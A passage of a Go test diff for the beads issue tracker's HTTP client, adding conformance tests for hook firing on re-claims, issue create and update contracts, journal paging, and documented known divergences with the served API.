+func TestTheIdempotentReclaimFiresNoHook(t *testing.T) { + env := newServedEnv(t, "hhq") + ctx := t.Context() + + hooksDir := t.TempDir() + log := plantLoggingHook(t, hooksDir, "on_update") + decorated := storage.NewHookFiringStore(env.subject, hooks.NewRunner(hooksDir)) + + const claimed = "hhq-reclaim" + const barrier = "hhq-barrier" + for _, id := range []string{claimed, barrier} { + seed := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, seed, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + claimer, err := decorated.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: claimed}); err != nil { + t.Fatalf("first claim: %v", err) + } + waitForHookLine(t, log, claimed, "the first HTTP claim") + + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: claimed}) + if err != nil { + t.Fatalf("re-claim: %v", err) + } + if res.Changed { + t.Fatal("the re-claim reported Changed; already_claimed on a 200 is the idempotent re-claim") + } + + // The barrier: a write that genuinely changes a DIFFERENT row, whose hook is + // launched after the re-claim's would have been. + lifecycle, err := decorated.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "worker", IssueID: barrier, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "barrier edit"}}, + }); err != nil { + t.Fatalf("barrier update: %v", err) + } + waitForHookLine(t, log, barrier, "the barrier update") + + if got := countHookLines(t, log, claimed); got != 1 { + t.Errorf("on_update fired %d times for %s, want 1: the idempotent re-claim ran the user's script for a write that never happened, "+ + "and a polling agent would run it once per poll", got, claimed) + } +} + +// plantHook writes an executable hook that touches a marker, and returns the +// marker path. +func plantHook(t *testing.T, hooksDir, name string) string { + t.Helper() + marker := filepath.Join(t.TempDir(), name+".fired") + script := "#!/bin/sh\ntouch " + marker + "\n" + if err := os.WriteFile(filepath.Join(hooksDir, name), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant the %s hook: %v", name, err) + } + return marker +} + +// plantLoggingHook writes a hook that APPENDS the issue id it fired for, so the +// test can count invocations rather than observe a latch. `$1` is the issue id +// the runner passes as the hook's first argument. +func plantLoggingHook(t *testing.T, hooksDir, name string) string { + t.Helper() + log := filepath.Join(t.TempDir(), name+".log") + script := "#!/bin/sh\necho \"$1\" >> " + log + "\n" + if err := os.WriteFile(filepath.Join(hooksDir, name), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant the %s hook: %v", name, err) + } + return log +} + +// waitForHookLine polls until the log records an invocation for id. +func waitForHookLine(t *testing.T, log, id, what string) { + t.Helper() + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if countHookLines(t, log, id) > 0 { + return + } + time.Sleep(20 * time.Millisecond) + } + t.Fatalf("%s ran no hook: %s recorded no line for %s", what, log, id) +} + +func countHookLines(t *testing.T, log, id string) int { + t.Helper() + data, err := os.ReadFile(log) // #nosec G304 - the path is this test's own temp file + if err != nil { + if os.IsNotExist(err) { + return 0 + } + t.Fatalf("read the hook log: %v", err) + } + n := 0 + for _, line := range strings.Split(string(data), "\n") { + if strings.TrimSpace(line) == id { + n++ + } + } + return n +} + +// waitForHook polls for the marker. hooks.Runner.Run is fire-and-forget by +// design — a slow hook must not block the write that triggered it — so the only +// honest assertion is a bounded wait. +func waitForHook(t *testing.T, marker, what string) { + t.Helper() + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if _, err := os.Stat(marker); err == nil { + return + } + time.Sleep(20 * time.Millisecond) + } + t.Fatalf("%s ran no hook: %s was never created", what, marker) +} diff --git a/internal/httpclient/served_issue_operations_test.go b/internal/httpclient/served_issue_operations_test.go new file mode 100644 index 000000000..fd2f67654 --- /dev/null +++ b/internal/httpclient/served_issue_operations_test.go @@ -0,0 +1,261 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_issue_operations_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The Lifecycle PERSISTENCE-SEAM contracts, run through client → in-process bd +// serve → reference store. +// +// This is the half of the Lifecycle role that the three accessor-reachable +// contract files next door deliberately do not hold: every case here ends on a +// COLUMN rather than on a returned row — the persisted `is_blocked` projection, +// `metadata IS NULL`, a committed `AS OF 'HEAD'` read, the plane a create +// routed to — and no read on any role hydrates those. The contract expresses +// that as a raw-SQL seam on its fixture, and this leg answers it the way it +// answers every other out-of-band probe: through the REFERENCE store the server +// is serving from, never through the client. +// +// WHAT THAT MAKES THE TIER WORTH HERE. The subject is one HTTP request. The +// client sends it, recomputes nothing, and every postcondition below is read +// out of the database afterwards — so a settlement the server did not make +// inside its own transaction, a plane it routed the wrong way, or a metadata +// document it wrote as SQL NULL shows up as a raw-row fact with no role read in +// between to launder it. +// +// UpdateRaw is bound to the REFERENCE store's own untyped funnel +// (env.reference.UpdateIssue), never to the client: storage.UpdateIssue is on +// the client's unsupported allowlist by design (D8: re-routing a raw front +// door would put a second spelling of the edit beside the role's), so there is +// no client funnel to bind. That is fine for every case actually registered in +// this file, because none of them takes the funnel AS ITS SUBJECT — they use it +// only to SEED a precondition an httpLifecycle.Create or the configured-status +// vocabulary cannot reach directly (an already-deferred row, a custom +// "name:category" status create does not parse). The three cases whose SUBJECT +// is the funnel itself (RunIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes +// and its siblings) are never called here — asserting the reference store's +// funnel would be the mirror image of seeding through the client, and just as +// empty — so binding this hook carries no risk of laundering a client +// assertion through the store it happens to share a process with. +// +// ONE ENVIRONMENT PER CASE, which the contract requires rather than prefers: +// RunIssueOperationsCreateRoutesInfraTypesToWisps installs BARE workspace-global +// type vocabulary and leaves it installed, and the child-id cases mint against a +// counter a neighbouring case's seeds would move. + +func newServedIssueOperationsFixture(t *testing.T, prefix string) conformance.IssueOperationsStagingFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.IssueOperationsStagingFixture{ + IssuePrefix: env.prefix, + // The only hook bound to the CLIENT. The contract calls this field both + // the seed route and the subject, and where a case seeds through it the + // seed is itself a served create — every precondition those cases assert + // afterwards is read back raw. + Operations: lifecycle, + CreateIssue: env.createIssue, + AddDependency: env.addDependency, + GetReadyWork: env.reference.GetReadyWork, + SetConfig: env.setConfig, + Commit: env.commitMessage, + Exec: env.execRaw, + QueryScalar: env.queryScalar, + UpdateRaw: env.reference.UpdateIssue, + } +} + +// ── The create half ───────────────────────────────────────────────────────── + +// TestServedIssueOperationsCreateRoutesInfraTypesToWisps is the routing case, +// and the plane it asserts is one the client cannot ask for: createIssue +// publishes `ephemeral`, but this case sends a bare infra TYPE and leaves the +// plane to the workspace's own `types.infra` vocabulary. So what runs here is +// the server reading its configured set and routing on it, with the answer read +// out of both tables. +func TestServedIssueOperationsCreateRoutesInfraTypesToWisps(t *testing.T) { + conformance.RunIssueOperationsCreateRoutesInfraTypesToWisps(t, t.Context(), newServedIssueOperationsFixture(t, "hio1")) +} + +// TestServedIssueOperationsCreateUnderAParentMintsTheNextChildID is the id +// allocator, which is emphatically the SERVER's here: GetNextChildID is on the +// unsupported allowlist, so the client names no id at all and reads the minted +// one off the answer. The case's last arm — a parent whose differently-cased +// twin already has a child — is the one that would catch a counter keyed on a +// case-folded parent. +func TestServedIssueOperationsCreateUnderAParentMintsTheNextChildID(t *testing.T) { + conformance.RunIssueOperationsCreateUnderAParentMintsTheNextChildID(t, t.Context(), newServedIssueOperationsFixture(t, "hio2")) +} + +// TestServedIssueOperationsCreateClosedDerivesTheClosedStamp is PARKED, and +// it is the one park in this file whose refusal is not a gap but the point. +// +// The derivation it pins reads the CREATION STAMP the caller supplied — that is +// what "one second past the later of created_at and updated_at" is a function of +// — and created_at is exactly the member createIssue withholds, because a +// caller-supplied creation time makes the row disagree with the journal entry +// that records it. So the case's subject is the import path, and importing is +// the act this surface says belongs to `bd import` rather than to a create. +// The park will outlive every other one here. +func TestServedIssueOperationsCreateClosedDerivesTheClosedStamp(t *testing.T) { + skipKnownDivergence(t, "W-CreateRequest.Issue", createParkBead, + "every arm supplies Issue.CreatedAt and Issue.UpdatedAt, which are the two stamps the derivation is a "+ + "function of and the two createIssue deliberately does not publish; the client refuses them per "+ + "member (asserted by TestCreateRefusesEveryMemberTheWireExcludes) rather than deriving a closed_at "+ + "from stamps the server chose") + conformance.RunIssueOperationsCreateClosedDerivesTheClosedStamp(t, t.Context(), newServedIssueOperationsFixture(t, "hio3")) +} + +func TestServedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction(t *testing.T) { + conformance.RunIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction(t, t.Context(), newServedIssueOperationsFixture(t, "hio4")) +} + +// The two STAGING cases, which are the only ones in this package that read +// `AS OF 'HEAD'`. They dirty an unrelated durable row in the working set, then +// create, then ask what the create's own commit swept in — and over this wire +// the commit is entirely the server's, made in a process that never saw the +// dirty row. The unit-of-work leg waives both because it has no caller-held +// working set; this leg has one, because the reference store the server serves +// is a real embedded engine and the fixture holds it. + +func TestServedIssueOperationsCreateReverseNonBlockingStagesConcreteTables(t *testing.T) { + conformance.RunIssueOperationsCreateReverseNonBlockingStagesConcreteTables(t, t.Context(), newServedIssueOperationsFixture(t, "hio5")) +} + +func TestServedIssueOperationsCreateParentChildRecomputesWaitsForClosure(t *testing.T) { + conformance.RunIssueOperationsCreateParentChildRecomputesWaitsForClosure(t, t.Context(), newServedIssueOperationsFixture(t, "hio6")) +} + +// ── The update half ───────────────────────────────────────────────────────── + +func TestServedIssueOperationsUpdateLabelPatchOrdering(t *testing.T) { + conformance.RunIssueOperationsUpdateLabelPatchOrdering(t, t.Context(), newServedIssueOperationsFixture(t, "hio7")) +} + +// TestServedIssueOperationsUpdateLabelPatchValueRules is PARKED on +// L-update-fieldlen, which this wave FOUND: its first arm asserts +// ErrFieldTooLong for a 256-character label, and the operation refuses that at +// the edge with the same `invalid_argument`/`invalid_value` pair every other +// bad value on the member earns. +// +// Everything else the case is about — the duplicate add applied once, the +// absent remove that is a no-op, the empty string dropped rather than stored — +// is unaffected, and the incremental algebra beside them is exercised over this +// wire by TestServedUpdateAppliesTheOrderedLabelEditServerSide. +func TestServedIssueOperationsUpdateLabelPatchValueRules(t *testing.T) { + skipKnownDivergence(t, "L-update-fieldlen", fieldLenParkBead, + "the case's first arm binds types.ErrFieldTooLong for an over-long label, and the operation applies "+ + "that bound at the edge with the invalid_value reason a malformed member also earns (asserted, "+ + "ceiling and both legs included, by TestServedUpdateFieldLengthBoundsAreTheServersAndNotThisClients)") + conformance.RunIssueOperationsUpdateLabelPatchValueRules(t, t.Context(), newServedIssueOperationsFixture(t, "hio8")) +} + +// TestServedIssueOperationsUpdateMetadataReplaceClearsAndValidates ends on +// `SELECT metadata IS NULL`, which is the whole reason it lives on this fixture: +// a hydrated issue reads a NULL column and the empty document back as the same +// nil bytes, so the clause — metadata is NEVER SQL NULL — is invisible to every +// read this surface publishes. +func TestServedIssueOperationsUpdateMetadataReplaceClearsAndValidates(t *testing.T) { + conformance.RunIssueOperationsUpdateMetadataReplaceClearsAndValidates(t, t.Context(), newServedIssueOperationsFixture(t, "hio9")) +} + +func TestServedIssueOperationsUpdateFoldsMetadataIntoOneEvent(t *testing.T) { + conformance.RunIssueOperationsUpdateFoldsMetadataIntoOneEvent(t, t.Context(), newServedIssueOperationsFixture(t, "hioa")) +} + +func TestServedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary(t *testing.T) { + conformance.RunIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary(t, t.Context(), newServedIssueOperationsFixture(t, "hiob")) +} + +// The two STATUS-CROSSING settlement cases. They are the update's half of what +// the close cases assert next door, and they are the pair the blocked-state kit +// calls two genuine votes: issueops update.go and domain/db issue.go each decide +// independently when a status move counts as a crossing. + +func TestServedIssueOperationsUpdateStatusCrossingSettlesDependers(t *testing.T) { + conformance.RunIssueOperationsUpdateStatusCrossingSettlesDependers(t, t.Context(), newServedIssueOperationsFixture(t, "hioc")) +} + +func TestServedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender(t *testing.T) { + conformance.RunIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender(t, t.Context(), newServedIssueOperationsFixture(t, "hiod")) +} + +// TestServedIssueOperationsRequestValuesAreNotMutated is the aliasing tripwire, +// and the one case here whose answer this leg gets for free in a way worth +// saying out loud: the request is SERIALIZED on the way out and the result is +// DESERIALIZED on the way back, so there is no pointer for the role to write +// through even if it wanted to. It runs anyway, because that argument is about +// today's transport and the promise is the role's. +func TestServedIssueOperationsRequestValuesAreNotMutated(t *testing.T) { + conformance.RunIssueOperationsRequestValuesAreNotMutated(t, t.Context(), newServedIssueOperationsFixture(t, "hioe")) +} + +// ── The parks ─────────────────────────────────────────────────────────────── +// +// Two, and both are a member updateIssue publishes nothing for. The refusals +// themselves are asserted by TestUpdateRefusesEveryMemberTheWireExcludes, +// which RUNS. +// +// The THREE CLAIM cases below are not parks: a claim rides updateIssue's own +// body (upstream #6890) — alone, or beside a patch, a guard or a force +// override, claimed and written in one transaction — so all three run for real +// against an in-process bd serve over embedded Dolt. +// +// The conflict case was the last to leave. Its final section drives Claim with +// a stale ExpectedVersion, the one claim/guard composition the local role +// allows, and while claimIssue (whose request is the actor alone) was the only +// claim this client sent, that combination refused on W-UpdateRequest.Claim — +// RETIRED by the #7247 review port, which sends the guard beside the claim. + +func TestServedIssueOperationsUpdateClaimConflictCarriesTheLosingState(t *testing.T) { + conformance.RunIssueOperationsUpdateClaimConflictCarriesTheLosingState(t, t.Context(), newServedIssueOperationsFixture(t, "hiof")) +} + +func TestServedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses(t *testing.T) { + conformance.RunIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses(t, t.Context(), newServedIssueOperationsFixture(t, "hiog")) +} + +func TestServedIssueOperationsClaimLeavesBlockedStateAlone(t *testing.T) { + conformance.RunIssueOperationsClaimLeavesBlockedStateAlone(t, t.Context(), newServedIssueOperationsFixture(t, "hioh")) +} + +// fieldLenParkBead is the bead the length-bound park cites, and it is separate +// from parkBead because it retires on a different event: the write-side parks +// wait on the wire growing a MEMBER, and this one waits on it growing a REASON. +// The behaviour is already served; only its classification is coarse. +const fieldLenParkBead = "ga-2ltro.19" + +// TestServedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps is the staging +// twin of the accessor-reachable plane case next door, and it parks for the +// same reason: dropping the restriction would EDIT the wisp the caller asked to +// be told did not exist. +func TestServedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps(t *testing.T) { + skipKnownDivergence(t, "W-UpdateRequest.IssuePlaneOnly", parkBead, + "updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so the "+ + "client refuses the flag rather than silently editing the wisp the case asked it to refuse") + conformance.RunIssueOperationsUpdateIssuePlaneOnlyRefusesWisps(t, t.Context(), newServedIssueOperationsFixture(t, "hioi")) +} + +// TestServedIssueOperationsUpdateWritesEveryScalarPatchField parks on FOUR +// members at once — spec_id, await_id, owner and closed_by_session — and the +// citation names spec_id because it is the first the encoder reaches. `owner` is +// the odd one: ApplyPatchBody publishes it and IssuePatchBody does not, which +// the document itself calls an accident of order rather than a decision, so this +// park is the one here most likely to narrow rather than retire. +func TestServedIssueOperationsUpdateWritesEveryScalarPatchField(t *testing.T) { + skipKnownDivergence(t, "W-IssuePatch.SpecID", parkBead, + "the case writes every scalar the patch carries, and four of them — spec_id, await_id, owner and "+ + "closed_by_session — are members IssuePatchBody does not publish; the client refuses each by name "+ + "rather than reporting a landed edit that dropped them") + conformance.RunIssueOperationsUpdateWritesEveryScalarPatchField(t, t.Context(), newServedIssueOperationsFixture(t, "hioj")) +} diff --git a/internal/httpclient/served_journal_test.go b/internal/httpclient/served_journal_test.go new file mode 100644 index 000000000..df77277bf --- /dev/null +++ b/internal/httpclient/served_journal_test.go @@ -0,0 +1,95 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_journal_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" +) + +// The Journal contract against the served surface. +// +// It is the FOURTH leg of a role that has three in-tree bodies and one shared +// one: both Dolt stores and the unit-of-work provider bottom out in +// issueops.ReadEventsPageInTx, so those three are one reading plus an engine +// check. This leg is genuinely independent — a JSON envelope over HTTP, a typed +// error rebuilt from a problem document, and a page bound that is the handler's +// rather than the role's — which is why the contract's own header calls the +// truncation case the one that matters more than it looks: the alias identity it +// checks at runtime is checked here across a WIRE. +// +// THE SPLIT BETWEEN THE FIXTURE'S HOOKS IS THE HARNESS RULE, and on this role it +// is also the role's own doctrine. Journal is bound to the CLIENT; activation +// and retention are bound to the REFERENCE store, because they are operator +// surface that journalops deliberately keeps off the role — a publishing surface +// must not be one line away from a delete — and this client implements neither. +// So the fixture's shape is not a testing convenience here, it is the same split +// the production types make. +// +// ORDER AND SEQUENTIALITY ARE LOAD-BEARING, exactly as they are on the three +// legs upstream: two cases PRUNE, one of them to nothing, every case rebaselines +// off the live head, and EveryMutationKindLandsARow runs last on purpose. +func TestServedJournalContract(t *testing.T) { + env := newServedEnv(t, "hjrn") + ctx := t.Context() + fixture := newServedJournalFixture(t, env) + t.Cleanup(func() { + // Journaling is INSTANCE-scoped, and the reference store outlives this + // fixture inside one test binary. Leaving it on would journal every + // mutation a later case in this package makes. + env.reference.SetEventsJournalEnabled(false) + }) + + t.Run("PagesAreSeqAscendingAndSinceExclusive", func(t *testing.T) { + conformance.RunJournalPagesAreSeqAscendingAndSinceExclusive(t, ctx, fixture) + }) + t.Run("HeadArrivesWithItsRowsAndDetectsCaughtUp", func(t *testing.T) { + conformance.RunJournalHeadArrivesWithItsRowsAndDetectsCaughtUp(t, ctx, fixture) + }) + t.Run("LimitCapsRowsNotHead", func(t *testing.T) { + conformance.RunJournalLimitCapsRowsNotHead(t, ctx, fixture) + }) + t.Run("TruncationIsTypedAndNamesTheWindow", func(t *testing.T) { + conformance.RunJournalTruncationIsTypedAndNamesTheWindow(t, ctx, fixture) + }) + t.Run("HeadSurvivesAFullPrune", func(t *testing.T) { + conformance.RunJournalHeadSurvivesAFullPrune(t, ctx, fixture) + }) + t.Run("EveryMutationKindLandsARow", func(t *testing.T) { + conformance.RunJournalEveryMutationKindLandsARow(t, ctx, fixture) + }) +} + +// newServedJournalFixture binds the role to the client through the TYPE +// ASSERTION `bd serve` makes, never through the concrete method set. +// +// The journal is not on storage.DoltStorage — journalops states why a role with +// no accessor is the right shape for it — so publishing it IS implementing this +// interface, and a client that stopped would fail here rather than keep +// compiling against a struct. +func newServedJournalFixture(t *testing.T, env *servedEnv) conformance.JournalFixture { + t.Helper() + cursor, ok := any(env.subject).(storage.EventsJournalCursor) + if !ok { + t.Fatalf("%T does not implement storage.EventsJournalCursor", env.subject) + } + reference := env.reference + return conformance.JournalFixture{ + IssuePrefix: env.prefix, + Journal: cursor, + SetJournalEnabled: reference.SetEventsJournalEnabled, + Prune: reference.PruneEventsJournal, + // EVERY MUTATION DRIVES THE REFERENCE STORE, which is the harness rule + // and not a shortcut around a refusing client. Two of the seven have no + // client-side spelling at all — a raw delete and a raw dependency remove + // are on the unsupported allowlist — and the other five would prove the + // client agrees with itself: the question this contract asks is whether + // the client can READ the journal a server wrote. + Mutations: servedJournalMutations(reference), + } +} diff --git a/internal/httpclient/served_lifecycle_create_test.go b/internal/httpclient/served_lifecycle_create_test.go new file mode 100644 index 000000000..6f152753f --- /dev/null +++ b/internal/httpclient/served_lifecycle_create_test.go @@ -0,0 +1,398 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_lifecycle_create_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Lifecycle CREATE contracts, run through client → in-process bd serve → +// reference store. +// +// createIssue is the operation that made D8 row 16 whole: the row was PARTIAL +// for as long as POST /v0/beads/issues was free on the wire, and the three verbs +// beside it — update, close, reopen — have been served since the write-lifecycle +// wave. What is asserted here is the fourth. +// +// TWO OF THE SIX CONTRACTS ARE PARKED on the wire's refusal VOCABULARY rather +// than on a member it cannot carry: the operation answers a dangling edge +// target and a foreign id prefix with the same `400 invalid_argument` every +// other body refusal earns, so the typed sentinels the contracts bind cannot be +// reconstructed. Both parks have a RUNNING pin beside them asserting the +// degraded-but-real behavior, so the ledger rows retire loudly rather than +// sitting behind a skip. The other two parks are a member list — the creation +// stamp and the classification plumbing — and they are refuse-not-drop working +// as designed; the sub-second echo is the second of them because its precision +// pin IS the creation stamp. + +func newServedCreateFixture(t *testing.T, prefix string) conformance.LifecycleCreateFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.LifecycleCreateFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + CreateIssue: env.createIssue, + GetIssue: env.getIssue, + WispExists: env.wispExists, + } +} + +// TestServedLifecycleCreateRefusesAnOccupiedID is the case the create-only guard +// exists for, and the one that catches the shipped bug the contract was written +// against: `bd create --id ` silently UPSERTING the stored row and +// reporting success. +func TestServedLifecycleCreateRefusesAnOccupiedID(t *testing.T) { + conformance.RunLifecycleCreateRefusesAnOccupiedID(t, t.Context(), newServedCreateFixture(t, "hlc1")) +} + +func TestServedLifecycleCreateInheritsParentLabels(t *testing.T) { + conformance.RunLifecycleCreateInheritsParentLabels(t, t.Context(), newServedCreateFixture(t, "hlc2")) +} + +// TestServedLifecycleCreateRejectsMissingDependencyTargets is PARKED on +// L-create-notfound: the case binds ErrValidation WRAPPING ErrNotFound and +// requires the refusal to NAME the missing target, and the wire's 400 for a +// dangling edge carries a fixed detail that quotes neither. +// +// The outcome half — the whole request fails and nothing is created — is +// asserted by TestServedCreateRefusesAnAbsentTargetAsValidation below, which +// RUNS. +func TestServedLifecycleCreateRejectsMissingDependencyTargets(t *testing.T) { + skipKnownDivergence(t, "L-create-notfound", createParkBead, + "the case binds ErrValidation wrapping ErrNotFound and requires the missing target's id in the message; the wire's 400 for a dangling dependency, parent or waits-for target carries a FIXED detail that reflects neither (asserted by TestServedCreateRefusesAnAbsentTargetAsValidation)") + conformance.RunLifecycleCreateRejectsMissingDependencyTargets(t, t.Context(), newServedCreateFixture(t, "hlc3")) +} + +// TestServedLifecycleCreateRefusesAForeignIDPrefix is PARKED on L-create-prefix: +// the case binds storage.ErrPrefixMismatch, and the wire spells that refusal as +// the same `invalid_argument` / `param: "id"` pair a malformed id earns, so +// nothing on the wire tells the two apart. +func TestServedLifecycleCreateRefusesAForeignIDPrefix(t *testing.T) { + skipKnownDivergence(t, "L-create-prefix", createParkBead, + "the case binds storage.ErrPrefixMismatch, and the wire answers a foreign prefix with the same invalid_argument/param=id pair a malformed id earns (asserted by TestServedCreateRefusesAForeignPrefixAsValidation)") + conformance.RunLifecycleCreateRefusesAForeignIDPrefix(t, t.Context(), newServedCreateFixture(t, "hlc4")) +} + +// TestServedLifecycleCreateWritesEveryScalarField is PARKED on +// W-CreateRequest.Issue: seventeen of its members are the create vocabulary the +// wire publishes and five are not — spec_id, await_id, closed_by_session, and +// the creation stamp's created_at/created_by — and this client refuses each of +// those rather than dropping it. created_by is refused because the case names +// a creator OTHER than its actor; the server stamps the actor, so only that one +// value rides the stamp (TestServedCreateCarriesTheShapeBdCreateSends). +// +// The operation's own description says why the stamp is absent: a create whose +// stored creation time comes from the caller makes the row disagree with the +// journal entry that records it, and re-dating history is what an import is for. +// So this is not a gap waiting on a wave; it is the surface's decision, and the +// park will outlive the ones above. +func TestServedLifecycleCreateWritesEveryScalarField(t *testing.T) { + skipKnownDivergence(t, "W-CreateRequest.Issue", createParkBead, + "the case sets spec_id, await_id, closed_by_session, created_at and a created_by naming someone other than its actor; createIssue publishes none of them and the client refuses each per member rather than dropping it (asserted by TestCreateRefusesEveryMemberTheWireExcludes)") + conformance.RunLifecycleCreateWritesEveryScalarField(t, t.Context(), newServedCreateFixture(t, "hlc5")) +} + +// TestServedLifecycleCreateEchoesSubSecondTimestamps is PARKED on the same row +// as WritesEveryScalarField, and on the same member: the contract's precision +// pin is a caller-supplied created_at/updated_at with nanoseconds in it — its +// own preamble says the explicit arm is the pin and the auto-stamped arm only a +// bounded smoke check — and the creation stamp is exactly the member createIssue +// withholds by design. The client refuses Issue.CreatedAt before any request is +// sent, so there is no echo to measure; running the auto-stamped arm alone +// would assert a clock window the contract itself declines to make the pin. +func TestServedLifecycleCreateEchoesSubSecondTimestamps(t *testing.T) { + skipKnownDivergence(t, "W-CreateRequest.Issue", createParkBead, + "the case's precision pin is a caller-supplied created_at/updated_at, and the creation stamp is the member createIssue deliberately withholds; the client refuses Issue.CreatedAt before any request is sent, so the echo has nothing to echo (the refusal is asserted by TestCreateRefusesEveryMemberTheWireExcludes)") + conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, t.Context(), newServedCreateFixture(t, "hlc6")) +} + +// createParkBead is the bead the create-side parks cite. It is separate from +// parkBead — the write-side parks of the close/update wave — because these +// retire on different events: two of them wait on the wire growing a +// distinguishing refusal code, and the third waits on nothing at all. +const createParkBead = "ga-jbuyf" + +// TestServedCreateRefusesAnAbsentTargetAsValidation is L-create-notfound's pin, +// and it RUNS. +// +// Both halves matter. The CLASSIFICATION half is the divergence: the refusal is +// ErrValidation alone and does not name the target, so the row retires loudly +// the day the wire grows a distinguishing code. The OUTCOME half is the reason +// the divergence is acceptable: the whole request fails and NOTHING is created — +// not the issue, and not the edge that named nothing. +// +// All three ways a request can name a target are driven here, including +// --parent: OpCreateIssue's own problem-code table (internal/httpapi/problem.go) +// documents NO 404 for ANY of them, on purpose — "there is no id in this path +// to have missed" applies to parent_id exactly as it does to a dependency's +// target_id or a waits-for's spawner_id, none of which are a resource this +// operation was asked to address. There is no asymmetry to carve a parent-only +// not_found out of without contradicting that design, so the three stay +// together on this one row. +func TestServedCreateRefusesAnAbsentTargetAsValidation(t *testing.T) { + env := newServedEnv(t, "hlcn") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const missing = "hlcn-nosuchrow" + for _, tc := range []struct { + name string + id string + request issueops.CreateRequest + }{ + { + name: "explicit dependency", + id: "hlcn-dep", + request: issueops.CreateRequest{Dependencies: []issueops.CreateDependency{{TargetID: missing, Type: types.DepBlocks}}}, + }, + { + name: "waits-for spawner", + id: "hlcn-waits", + request: issueops.CreateRequest{WaitsFor: &issueops.WaitsFor{SpawnerID: missing}}, + }, + { + name: "parent", + id: "hlcn-parent", + request: issueops.CreateRequest{ParentID: missing}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + req := tc.request + req.Actor, req.ForceIDPrefix = "writer", true + req.Issue = &issueops.Issue{ + ID: tc.id, Title: tc.name, Status: types.StatusOpen, + Priority: 2, IssueType: types.TypeTask, + } + _, err := lifecycle.Create(ctx, req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Create with an absent %s target: err = %v, want ErrValidation", tc.name, err) + } + if errors.Is(err, issueops.ErrNotFound) { + t.Errorf("the refusal wraps ErrNotFound; L-create-notfound says the wire cannot express it — retire the row rather than the assertion") + } + if strings.Contains(err.Error(), missing) { + t.Errorf("the refusal names the missing target %q; L-create-notfound says it cannot — retire the row", missing) + } + // The outcome half: neither plane holds the refused id. + assertServedIssueRows(t, ctx, env, 0, tc.id) + assertServedWispRows(t, ctx, env, 0, tc.id) + }) + } +} + +// TestServedCreateRefusesAForeignPrefixAsValidation is L-create-prefix's pin, +// and it RUNS. +// +// The guard is untouched — the id is refused, nothing is created, and the same +// request with ForceIDPrefix lands — and only the typed sentinel is lost. That +// last clause is what the row is about: both local front doors decide whether to +// re-offer the create with --force from errors.Is rather than from the message. +func TestServedCreateRefusesAForeignPrefixAsValidation(t *testing.T) { + env := newServedEnv(t, "hlcp") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const foreign = "hlcpforeign-1" + issue := func() *issueops.Issue { + return &issueops.Issue{ + ID: foreign, Title: "foreign", Status: types.StatusOpen, + Priority: 2, IssueType: types.TypeTask, + } + } + + _, err = lifecycle.Create(ctx, issueops.CreateRequest{Actor: "writer", Issue: issue()}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("unforced create at a foreign prefix: err = %v, want ErrValidation", err) + } + if errors.Is(err, storage.ErrPrefixMismatch) { + t.Errorf("the refusal carries ErrPrefixMismatch; L-create-prefix says the wire cannot express it — retire the row rather than the assertion") + } + assertServedIssueRows(t, ctx, env, 0, foreign) + + // The half that makes the refusal a POLICY the caller can override rather + // than a hard limit — and the half that proves the arm above refused on the + // prefix rather than on the request being malformed. + forced, err := lifecycle.Create(ctx, issueops.CreateRequest{Actor: "writer", ForceIDPrefix: true, Issue: issue()}) + if err != nil { + 